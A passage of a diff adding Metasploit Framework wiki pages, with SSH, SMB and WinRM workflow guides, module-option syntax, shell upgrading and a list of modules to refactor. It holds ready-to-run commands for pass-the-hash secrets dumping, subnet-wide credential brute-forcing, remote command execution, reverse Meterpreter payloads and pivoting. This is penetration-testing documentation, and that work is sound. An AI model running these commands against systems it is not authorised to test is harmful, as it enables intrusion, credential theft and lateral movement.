smb://Administrator:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6@10.10.10.161 lhost=10.10.14.13 lport=5000 +``` + +### SMB Dumping + +Dumping secrets with credentials: + +``` +use auxiliary/gather/windows_secrets_dump +run smb://user:pass@192.168.123.6 +``` + +Dumping secrets with NTLM hashes + +``` +use auxiliary/gather/windows_secrets_dump +run smb://Administrator:aad3b435b51404eeaad3b435b51404ee:15feae27e637cb98ffacdf0a840eeb4b@192.168.123.1 +``` + +### SMB Files + +Download a file: + +``` +use auxiliary/admin/smb/download_file +run smb://a:p4$$w0rd@192.168.123.13/my_share/helloworld.txt +``` + +Upload a file: + +``` +use auxiliary/admin/smb/upload_file +echo "my file" > local_file.txt +run smb://a:p4$$w0rd@192.168.123.13/my_share/remote_file.txt lpath=./local_file.txt +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-SSH.md b/metasploit-framework.wiki/Metasploit-Guide-SSH.md new file mode 100644 index 000000000000..7157e3922f5b --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-SSH.md @@ -0,0 +1,146 @@ +## SSH Workflows + +SSH, also known as Secure Shell or Secure Socket Shell, is frequently found on port 22/TCP. The protocol allows for SSH clients to securely connect to a running SSH server to execute commands against, the protocol also supports tunneling network traffic - which Metasploit can leverage for pivoting purposes. + +Metasploit has support for multiple SSH modules, including: + +- Version enumeration +- Verifying/bruteforcing credentials +- Opening sessions +- Pivoting support + +There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: + +``` +msf6 > search ssh +``` + +### Lab Environment + +There are multiple SSH servers to choose from and install on a host machine, including: +- OpenSSH - OpenBSD Secure Shell, most popular +- Dropbear + +It is also possible to use [Docker](https://www.docker.com/). First create a new `Dockerfile`: + +```docker +FROM alpine:latest + +RUN apk add --update +RUN apk --no-cache add openssh +RUN ssh-keygen -A +RUN echo 'root:toor' | chpasswd + +RUN echo $' AuthorizedKeysFile .ssh/authorized_keys\n\ +GatewayPorts no \n\ +X11Forwarding no \n\ +Subsystem sftp /usr/lib/ssh/sftp-server \n\ +PasswordAuthentication yes \n\ +AllowTcpForwarding yes \n\ +PasswordAuthentication yes \n\ +AllowTcpForwarding yes' > /etc/ssh/sshd_config + +RUN echo "KexAlgorithms diffie-hellman-group1-sha1" >> /etc/ssh/sshd_config + +RUN addgroup -g 700 test_user \ + && adduser -G test_user -D -u 700 -S -h /home/test_user -s /bin/sh test_user +RUN echo -n 'test_user:password123' | chpasswd + +EXPOSE 22 + +CMD ["/usr/sbin/sshd","-D"] +``` + +Build and run: + +``` +docker build --tag ssh_lab:latest - < Dockerfile +docker run --rm -it --publish 127.0.0.1:2222:22 ssh_lab:latest +``` + +It should now be possible to test the SSH login from msfconsole: + +``` +msf6 > use scanner/ssh/ssh_login +msf6 auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222 + +[*] 127.0.0.1:2222 - Starting bruteforce +[+] 127.0.0.1:2222 - Success: 'test_user:password123' 'uid=700(test_user) gid=700(test_user) groups=700(test_user),700(test_user) Linux 5a26fe63abef 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 Linux ' +[*] SSH session 1 opened (127.0.0.1:57318 -> 127.0.0.1:2222 ) at 2022-04-23 01:25:01 +0100 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +Note that TCP forwarding requires the `AllowTcpForwarding` option to be enabled in the server's configuration file, which is often the default. If the option is disabled or the more specific `PermitOpen` option does not allow the connection to be made, the connection will fail with the `administratively prohibited` error. + +### SSH Enumeration + +Enumerate SSH version: + +``` +use auxiliary/scanner/ssh/ssh_version +run ssh://127.0.0.1 +``` + +### SSH Bruteforce + +Brute-force host with known user and password list: + +``` +use scanner/ssh/ssh_login +run ssh://known_user@192.168.222.1 threads=50 pass_file=./wordlist.txt +``` + +Brute-force credentials: + +``` +use scanner/ssh/ssh_login +run ssh://192.168.222.1 threads=50 user_file=./users.txt pass_file=./wordlist.txt +``` + +Brute-force credentials in a subnet: + +``` +use scanner/ssh/ssh_login +run cidr:/24:ssh://user:pass@192.168.222.0 threads=50 +run cidr:/24:ssh://user@192.168.222.0 threads=50 pass_file=./wordlist.txt +``` + +### SSH Login Session + +If you have valid SSH credentials the `ssh_login` module will open a Metasploit session for you: + +``` +use scanner/ssh/ssh_login +run ssh://user:pass@172.18.102.20 +``` + +Re-using SSH credentials in a subnet: + +``` +use scanner/ssh/ssh_login +run cidr:/24:ssh://user:pass@192.168.222.0 threads=50 +``` + +Using an alternative port: + +``` +use scanner/ssh/ssh_login +run ssh://user:pass@192.168.123.6:2222 +``` + +### SSH Pivoting + +It is only possible to perform SSH Pivoting if the remote target has the `AllowTcpForwarding` option be enabled in the server's configuration file, which is often the default. If the option is disabled or the more specific `PermitOpen` option does not allow the connection to be made, the connection will fail with the `administratively prohibited` error. + +Like Meterpreter, it is possible to [port forward through a Metasploit SSH session](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/ssh/ssh_login.md#session-capabilities): + +``` +route add 172.18.103.0/24 ssh_session_id +``` + +To a route for the most recently opened Meterpreter session: + +``` +route add 172.18.103.0/24 -1 +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-Setting-Module-Options.md b/metasploit-framework.wiki/Metasploit-Guide-Setting-Module-Options.md new file mode 100644 index 000000000000..fe9fc611c602 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-Setting-Module-Options.md @@ -0,0 +1,145 @@ +## Module options + +Each Metasploit module has a set of options which must be set before running. These can be seen with the `show options` or `options` command: + +``` +msf6 exploit(windows/smb/ms17_010_eternalblue) > options + +Module options (exploit/windows/smb/ms17_010_eternalblue): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 445 yes The target port (TCP) + SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. + SMBPass no (Optional) The password for the specified username + SMBUser no (Optional) The username to authenticate as + ... etc ... + + +Payload options (windows/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.1.239 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target +``` + +Each Metasploit module also has _advanced_ options, which can often be useful for fine-tuning modules, in particular setting connection timeouts values can be useful: + +``` +msf6 exploit(windows/smb/ms17_010_eternalblue) > advanced + +Module advanced options (exploit/windows/smb/ms17_010_eternalblue): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHOST no The local client address + CPORT no The local client port + CheckModule auxiliary/scanner/smb/smb_ms17_010 yes Module to check with + ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection + ... etc ... + +Payload advanced options (windows/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + AutoLoadStdapi true yes Automatically load the Stdapi extension + AutoRunScript no A script to run automatically on session creation. + AutoSystemInfo true yes Automatically capture system information on + ... etc ... +``` + +You can see which options stilloptions to be set with the `show missing` command: + +``` +msf6 exploit(windows/smb/ms17_010_eternalblue) > show missing + +Module options (exploit/windows/smb/ms17_010_eternalblue): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit +``` + +### Setting options + +Traditional usage of Metasploit involves loading a module, and setting multiple options individually: + +``` +use exploit/linux/postgres/postgres_payload +set username administrator +set password pass +set rhost 192.168.123.6 +set rport 5432 +set database postgres +set lhost 192.168.123.1 +set lport 5000 +run +``` + +You can also specify multiple RHOSTS separated by spaces or with a CIDR subnet mask: + +``` +set rhosts 127.0.0.1 127.0.0.2 +set rhosts 127.0.0.1/24 +``` + +In 2021 support for running a module and specifying module options at the same time was added, dubbed inline option support. This workflow will not only make it easier to use `reverse-i-search` with `CTRL+R` in Metasploit's console, but it will also make it easier to share cheat sheets amongst pentesters. + +Example: + +``` +use exploit/linux/postgres/postgres_payload +run postgres://postgres:password@192.168.123.6 lhost=192.168.123.1 lport=5000 payload=linux/x64/meterpreter/reverse_tcp target='Linux\ x86_64' verbose=true +``` + +### URI support for RHOSTS + +Metasploit also supports the use of [URI](https://en.wikipedia.org/wiki/Uniform_Resource_Identifier) strings as arguments, +which allows setting multiple options at once - i.e. username, password, rport, rhost, etc. + +``` +use exploit/linux/postgres/postgres_payload +run postgres://administrator:pass@192.168.123.6 lhost=192.168.123.1 lport=5000 +``` + +The following protocols are currently supported, and described in more detail below: + +- cidr - Can be combined with other protocols to specify address subnet mask length +- file - Load a series of RHOST values separated by newlines from a file. This file can also include URI strings +- http +- https +- mysql +- postgres +- smb +- ssh + +To preserve whitespace, regardless of the protocol, use quotes: + +``` +use auxiliary/admin/postgres/postgres_sql +run 'postgres://user:this is my password@192.168.1.123/database_name' sql='select version()' +``` + +In some scenarios it may be too troublesome to escape quotes within a password. In this scenario it is possible to still set the password option manually and use the URI argument without a password specified, the module will gracefully fallback to using the manually set password: + +``` +set password !@£$%^&*()"' +run smb://user@192.168.123.13 +``` + +You can also specify multiple RHOST arguments, as well as provide additionally inlined options: + +``` +use scanner/smb/smb_enumshares +run smb://test:test@192.168.1.223 smb://user:password@192.168.1.223 smb://test:test@127.0.0.1 verbose=true +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md b/metasploit-framework.wiki/Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md new file mode 100644 index 000000000000..70069a42700a --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md @@ -0,0 +1,22 @@ +## Upgrading shells to Meterpreter + +If you have an existing session, either Meterpreter, an SSH, or a basic command shell - you can open a new Meterpreter session with: + +``` +sessions -u 3 +``` + +To upgrade the most recently opened session to Meterpreter using the `sessions` command: + +``` +sessions -u -1 +``` + +Or run the `shell_to_meterpreter` module manually: + +``` +use multi/manage/shell_to_meterpreter +run session=-1 +run session=-1 win_transfer=POWERSHELL +run session=-1 win_transfer=VBS +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-WinRM.md b/metasploit-framework.wiki/Metasploit-Guide-WinRM.md new file mode 100644 index 000000000000..b914aaba2ddd --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-WinRM.md @@ -0,0 +1,135 @@ +## WinRM Workflows + +Windows Remote Management (WinRM), is a way for clients to remotely manage Windows computers. WinRM is built on top of the Simple Object Access Protocol (SOAP) over HTTP(S). + +There are two main ports for WinRM: + +- 5985/TCP - HTTP +- 5986/TCP - HTTPS + +Important: Before running the chosen WinRM Metasploit module, first ensure that the `RPORT` and `SSL` values are configured correctly. +Either with the modern inline option support: + +``` +use scanner/winrm/winrm_auth_methods + +run http://192.168.123.139:5985 +run https://192.168.123.139:5986 +``` + +Or by manually setting options: + +``` +use scanner/winrm/winrm_auth_methods +set RHOST 192.168.123.139 +set RPORT 5985 +set SSL false +run +``` + +Metasploit has support for multiple WinRM modules, including: + +- Authentication enumeration +- Verifying/bruteforcing credentials +- Running commands and opening sessions + +There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: + +``` +msf6 > search winrm +``` + +### Lab Environment + +The WinRM modules work against Windows instances which have WinRM installed and configured. + +For a domain controller the `Allow remote server management through WinRM` policy will need be enabled. +It is only possible to use WinRM against accounts which are part of the `Remote Management Users` group. + +WinRM over HTTPS requires the creation of a Server Authenticating Certificate, as well as enabling the transport mode: + +``` +winrm quickconfig -transport:https +``` + +### Authentication Enumeration + +Enumerate WinRm authentication mechanisms: + +``` +use scanner/winrm/winrm_auth_methods +run http://192.168.123.139:5985 +run https://192.168.123.139:5986 +``` + +Example: + +``` +msf6 auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985 + +[+] 192.168.123.139:5985: Negotiate protocol supported +[+] 192.168.123.139:5985: Kerberos protocol supported +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### WinRM Bruteforce + +Brute-force host with known user and password list: + +``` +use scanner/winrm/winrm_login +run https://known_user@192.168.222.1:5986 threads=50 pass_file=./wordlist.txt +``` + +Brute-force credentials: + +``` +use scanner/winrm/winrm_login +run http://192.168.123.139:5985 threads=50 user_file=./users.txt pass_file=./wordlist.txt +``` + +Brute-force credentials in a subnet: + +``` +use scanner/winrm/winrm_login +run cidr:/24:http://user:pass@192.168.222.0:5985 threads=50 +run cidr:/24:http://user@192.168.222.0:5985 threads=50 pass_file=./wordlist.txt +``` + +### WinRM CMD + +To execute arbitrary commands against a windows target: + +``` +use scanner/winrm/winrm_cmd +run http://user:pass@192.168.123.139:5985 cmd='whoami; ipconfig; systeminfo' +``` + +### WinRM Login Session + +If you have valid credentials the `scanner/winrm/winrm_login` module will open a Metasploit session for you: + +``` +use scanner/winrm/winrm_login +run http://user:pass@192.168.123.139:5985 +``` + +Example: + +``` +msf6 auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985 + +[!] No active DB -- Credential data will not be saved! +[+] 192.168.123.139:5985 - Login Successful: WORKSTATION\user:pass +[*] Command shell session 7 opened (192.168.123.1:58673 -> 192.168.123.139:5985 ) at 2022-04-23 02:36:34 +0100 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1 +[*] Starting interaction with 7... + +Microsoft Windows [Version 10.0.14393] +(c) 2016 Microsoft Corporation. All rights reserved. + +C:\Users\user> +``` diff --git a/metasploit-framework.wiki/Metasploit-Hackathons.md b/metasploit-framework.wiki/Metasploit-Hackathons.md new file mode 100644 index 000000000000..47dd3a717868 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Hackathons.md @@ -0,0 +1,11 @@ +### 2016 + +We hosted the first general Metasploit hackathon at the Rapid7 Austin Office Thursday 2016-09-15, starting at Noon (12pm) CST and going until 10am CST the following day. + +> Got a cool Meterpreter extension you have wanted to try, module to write, or feature to add? We'll be working both on new things and shepherding old-but-awesome things. Come join us on #metasploit on Freenode as well. + +### 2017 + +We hosted the second general Metasploit hackathon at the Rapid7 Austin Office and the Hyatt Place Arboretum, 2017-06-22 through 2017-06-25, including 15 developers. Combine a rotating cast of contributors, way too much food, a couple of guitars, and some incredibly outsized laptops, you end up with some great Metasploit hacking and fun. + +![](https://blog.rapid7.com/content/images/2017/12/IMG_1225.JPG) diff --git a/metasploit-framework.wiki/Metasploit-Loginpalooza.md b/metasploit-framework.wiki/Metasploit-Loginpalooza.md new file mode 100644 index 000000000000..5b68cc28af0e --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Loginpalooza.md @@ -0,0 +1,118 @@ +The Loginpalooza contest is over! Congrats and thanks to @TomSellers, @ChrisTuncer, and @0a2940! + +The list of [modules to refactor](#modules-to-refactor) is still here. Modules that get refactored should be removed from the list entirely. + +If you'd like to learn how to convert your favorite existing module, or write a new module, using the new LoginScanner mixin and the Credentials gem, please take a look at [[Creating Metasploit Framework LoginScanners]]. + +# Modules to Refactor + +- [ ] [auxiliary/gather/apache_rave_creds.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/gather/apache_rave_creds.rb) +- [ ] [auxiliary/scanner/http/apache_userdir_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/apache_userdir_enum.rb) +- [ ] [auxiliary/voip/asterisk_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/voip/asterisk_login.rb) +- [ ] [post/osx/gather/autologin_password.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/osx/gather/autologin_password.rb) +- [ ] [auxiliary/scanner/http/axis_local_file_include.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/axis_local_file_include.rb) +- [ ] [exploits/windows/http/ca_arcserve_rpc_authbypass.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb) +- [ ] [auxiliary/scanner/misc/cctv_dvr_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/misc/cctv_dvr_login.rb) +- [ ] [auxiliary/scanner/http/cisco_asa_asdm.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/cisco_asa_asdm.rb) +- [ ] [auxiliary/scanner/http/cisco_ironport_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/cisco_ironport_enum.rb) +- [ ] [auxiliary/scanner/couchdb/couchdb_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/couchdb/couchdb_login.rb) +- [ ] [auxiliary/gather/d20pass.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/gather/d20pass.rb) +- [ ] [auxiliary/scanner/http/dell_idrac.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/dell_idrac.rb) +- [ ] [auxiliary/scanner/http/dlink_dir_300_615_http_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb) +- [ ] [auxiliary/scanner/http/dlink_dir_615h_http_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb) +- [ ] [auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb) +- [ ] [auxiliary/scanner/http/dolibarr_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/dolibarr_login.rb) +- [ ] [auxiliary/gather/doliwamp_traversal_creds.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/gather/doliwamp_traversal_creds.rb) +- [ ] [auxiliary/server/capture/drda.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/server/capture/drda.rb) +- [ ] [auxiliary/scanner/http/drupal_views_user_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/drupal_views_user_enum.rb) +- [ ] [auxiliary/scanner/misc/dvr_config_disclosure.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb) +- [ ] [auxiliary/gather/eaton_nsm_creds.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/gather/eaton_nsm_creds.rb) +- [ ] [auxiliary/scanner/http/ektron_cms400net.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/ektron_cms400net.rb) +- [ ] [post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/osx/gather/enum_osx.rb) +- [x] [post/windows/gather/enum_snmp.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_snmp.rb) +- [ ] [post/windows/gather/enum_tomcat.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_tomcat.rb) +- [ ] [post/multi/gather/filezilla_client_cred.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/multi/gather/filezilla_client_cred.rb) +- [ ] [exploits/multi/http/glassfish_deployer.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/glassfish_deployer.rb) +- [x] [auxiliary/scanner/http/glassfish_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/glassfish_login.rb) +- [ ] [auxiliary/gather/hp_snac_domain_creds.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/gather/hp_snac_domain_creds.rb) +- [ ] [auxiliary/scanner/http/infovista_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/infovista_enum.rb) +- [ ] [auxiliary/scanner/ipmi/ipmi_dumphashes.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb) +- [ ] [auxiliary/scanner/oracle/isqlplus_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/oracle/isqlplus_login.rb) +- [ ] [auxiliary/scanner/oracle/isqlplus_sidbrute.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb) +- [ ] [exploits/linux/http/kloxo_sqli.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/http/kloxo_sqli.rb) +- [ ] [auxiliary/scanner/scada/koyo_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/scada/koyo_login.rb) +- [ ] [auxiliary/scanner/telnet/lantronix_telnet_password.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb) +- [ ] [auxiliary/scanner/lotus/lotus_domino_hashes.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb) +- [ ] [auxiliary/scanner/lotus/lotus_domino_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/lotus/lotus_domino_login.rb) +- [ ] [auxiliary/scanner/mongodb/mongodb_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/mongodb/mongodb_login.rb) +- [ ] [post/linux/gather/mount_cifs_creds.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/linux/gather/mount_cifs_creds.rb) +- [ ] [auxiliary/scanner/msf/msf_rpc_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/msf/msf_rpc_login.rb) +- [ ] [auxiliary/scanner/msf/msf_web_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/msf/msf_web_login.rb) +- [ ] [auxiliary/scanner/nessus/nessus_ntp_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb) +- [ ] [auxiliary/scanner/nessus/nessus_xmlrpc_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb) +- [ ] [auxiliary/scanner/nexpose/nexpose_api_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb) +- [ ] [auxiliary/scanner/http/novell_mdm_creds.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/novell_mdm_creds.rb) +- [ ] [auxiliary/scanner/misc/oki_scanner.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/misc/oki_scanner.rb) +- [ ] [auxiliary/scanner/http/openmind_messageos_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/openmind_messageos_login.rb) +- [ ] [auxiliary/scanner/openvas/openvas_gsad_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb) +- [ ] [auxiliary/scanner/openvas/openvas_omp_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/openvas/openvas_omp_login.rb) +- [ ] [auxiliary/scanner/openvas/openvas_otp_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/openvas/openvas_otp_login.rb) +- [ ] [auxiliary/scanner/http/oracle_ilom_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/oracle_ilom_login.rb) +- [ ] [post/windows/gather/credentials/outlook.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/credentials/outlook.rb) +- [ ] [auxiliary/scanner/http/owa_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/owa_login.rb) +- [ ] [auxiliary/scanner/pcanywhere/pcanywhere_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb) +- [ ] [post/multi/gather/pgpass_creds.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/multi/gather/pgpass_creds.rb) +- [ ] [auxiliary/scanner/postgres/postgres_version.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/postgres/postgres_version.rb) +- [ ] [post/linux/gather/pptpd_chap_secrets.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/linux/gather/pptpd_chap_secrets.rb) +- [ ] [auxiliary/scanner/http/radware_appdirector_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/radware_appdirector_enum.rb) +- [ ] [auxiliary/scanner/misc/raysharp_dvr_passwords.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb) +- [ ] [post/windows/gather/credentials/razer_synapse.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/credentials/razer_synapse.rb) +- [ ] [post/windows/gather/credentials/razorsql.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/credentials/razorsql.rb) +- [ ] [auxiliary/scanner/rservices/rexec_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/rservices/rexec_login.rb) +- [ ] [auxiliary/scanner/http/rfcode_reader_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/rfcode_reader_enum.rb) +- [ ] [auxiliary/scanner/rservices/rlogin_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/rservices/rlogin_login.rb) +- [ ] [auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb) +- [ ] [auxiliary/scanner/rservices/rsh_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/rservices/rsh_login.rb) +- [ ] [auxiliary/scanner/http/sap_businessobjects_user_brute.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb) +- [ ] [auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb) +- [ ] [auxiliary/scanner/http/sap_businessobjects_user_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb) +- [ ] [auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb) +- [ ] [auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb) +- [ ] [auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb) +- [ ] [auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb) +- [ ] [auxiliary/scanner/sap/sap_web_gui_brute_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb) +- [ ] [auxiliary/scanner/http/sentry_cdu_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/sentry_cdu_enum.rb) +- [ ] [auxiliary/scanner/http/sevone_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/sevone_enum.rb) +- [ ] [auxiliary/scanner/oracle/sid_brute.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/oracle/sid_brute.rb) +- [ ] [auxiliary/admin/oracle/sid_brute.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/admin/oracle/sid_brute.rb) +- [ ] [auxiliary/server/capture/sip.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/server/capture/sip.rb) +- [ ] [post/windows/gather/credentials/smartermail.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/credentials/smartermail.rb) +- [ ] [post/windows/gather/credentials/spark_im.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/credentials/spark_im.rb) +- [ ] [auxiliary/scanner/http/splunk_web_login.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/splunk_web_login.rb) +- [ ] [auxiliary/scanner/http/squiz_matrix_user_enum.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb) +- [ ] [auxiliary/scanner/ssh/ssh_identify_pubkeys.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb) +- [ ] [auxiliary/scanner/telnet/telnet_ruggedcom.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb) +- [ ] [auxiliary/scanner/http/titan_ftp_admin_pwd.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb) +- [ ] 